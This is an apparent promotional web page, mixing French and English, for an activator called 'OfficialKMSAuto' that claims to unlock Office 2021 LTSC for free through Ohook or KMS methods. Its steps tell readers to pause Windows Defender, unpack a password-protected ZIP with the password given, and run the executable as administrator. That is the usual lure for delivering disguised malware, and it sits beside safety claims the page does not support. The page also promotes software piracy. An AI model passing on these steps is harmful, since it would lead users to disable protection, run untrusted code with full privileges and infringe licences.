Comment Activer Office 2021 LTSC Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Office 2021 LTSC en 2026. Office LTSC 2021 activation — Ohook permanent or KMS 180-day renewable. Both bundled in KMSAuto Net.
WYqejXiqBi97Cet article est le guide complet en français sur Office 2021 LTSC en 2026. Office LTSC 2021 is the perpetual version sold to organizations. Both Ohook and KMS work; Ohook is recommended.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Frequently asked questions
▸Is this method free?
Yes — every activation method covered here is 100% free with OfficialKMSAuto.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.
▸Is an internet connection required?
Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
Read this article in another language
Related articles
Comment Activer Access Activator Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Access Activator en 2026. Activate Microsoft Access (2019/2021/2024) free. Ohook delivers a permanent license without subscription.
Read article →
Comment Activer Visio & Project Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Visio & Project en 2026. Activate Visio 2019/2021/2024 and Project 2019/2021/2024 permanently with the Ohook method.
Read article →
KMSCleaner Méthode d'Activation 2026 — Guide Complet
Cet article est le guide complet en français sur KMSCleaner en 2026. KMSCleaner removes residual files from previous KMS activations so OfficialKMSAuto can apply a clean license.
Read article →
Office LTSC vs 365 — Comparatif 2026
Cet article est le guide complet en français sur Office LTSC vs 365 en 2026. LTSC = perpetual, no cloud. 365 = subscription with OneDrive. KMSAuto activates both — KMS for LTSC, Ohook for 365.
Read article →
KMS Server / Host Méthode d'Activation 2026 — Guide Complet
Cet article est le guide complet en français sur KMS Server / Host en 2026. A KMS host serves activations over your LAN. KMSAuto emulates one locally so you don't need a real server.
Read article →
KMSAuto on VM Méthode d'Activation 2026 — Guide Complet
Cet article est le guide complet en français sur KMSAuto on VM en 2026. Test KMSAuto inside VirtualBox or VMware before running on your main PC. HWID activates VMs too.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97